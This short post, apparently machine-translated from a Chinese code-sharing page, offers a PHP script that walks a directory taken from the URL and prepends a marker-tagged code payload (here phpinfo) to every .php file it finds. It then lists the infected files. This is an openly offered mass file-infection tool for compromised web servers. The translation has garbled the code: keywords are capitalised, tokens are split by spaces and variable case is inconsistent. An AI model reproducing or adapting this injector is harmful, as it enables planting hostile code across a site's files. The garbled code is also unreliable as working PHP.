I always forget which file I put a sentence in. I just killed all of them...
CopyCode The Code is as follows: <? // Xy7
If (! Isset ($ DIR) or empty ($ DIR )){
$ Dir = str_replace ('\', '/', dirname (_ file __));
Echo "<font color = \" # 00688b \ ">". $ dir. "</font> ";
} Else {
$ Dir = $ _ Get ['dir'];
Echo "<font color = \" # 00688b \ ">". $ dir. "</font> ";
}
$ Evilcode = "<? Phpinfo (); // xy7?> ";
$ Testdir = opendir ($ DIR );
While ($ filea = @ readdir ($ testdir )){
If (strstr ($ filea, '. php ')){
$ Fp = @ fopen ($ filea, 'r + ');
If (! Strstr (@ fread ($ FP, 20), 'xy7 ')){
Rewind ($ FP );
$ Old = @ fread ($ FP, filesize ($ filea ));
Rewind ($ FP );
Fwrite ($ FP, $ evilcode. $ old );
}
Fclose ($ FP );
}
}
Closedir ($ testdir );
?>
<HR>
<Table width = "100%" border = "0" cellpadding = "3" cellspacing = "1">
<Tr>
<TD> <B> file x </B> </TD>
<TD> <B> time </B> </TD>
<TD> <B> size </B> </TD>
</Tr>
<? PHP
$ Dirs = @ opendir ($ DIR );
While ($ file = @ readdir ($ dirs )){
If (is_file ($ file) and (ereg ("\. php {0, 1} $", $ file )))
{$ B = "$ DIR/$ File ";
$ A = @ is_dir ($ B );
If ($ A = "0 "){
$ Size = @ filesize ("$ DIR/$ File ");
$ Lastsave = @ date ("Y-n-d H: I: s", filectime ("$ DIR/$ File "));
Echo "<tr> \ n ";
Echo "<TD> $ file </TD> \ n ";
Echo "<TD> $ lastsave </TD> \ n ";
Echo "<TD> $ size bytes </TD> \ n ";
}
}
}
@ Closedir ($ dirs );
?>
</Table>
Codz by xuanmumu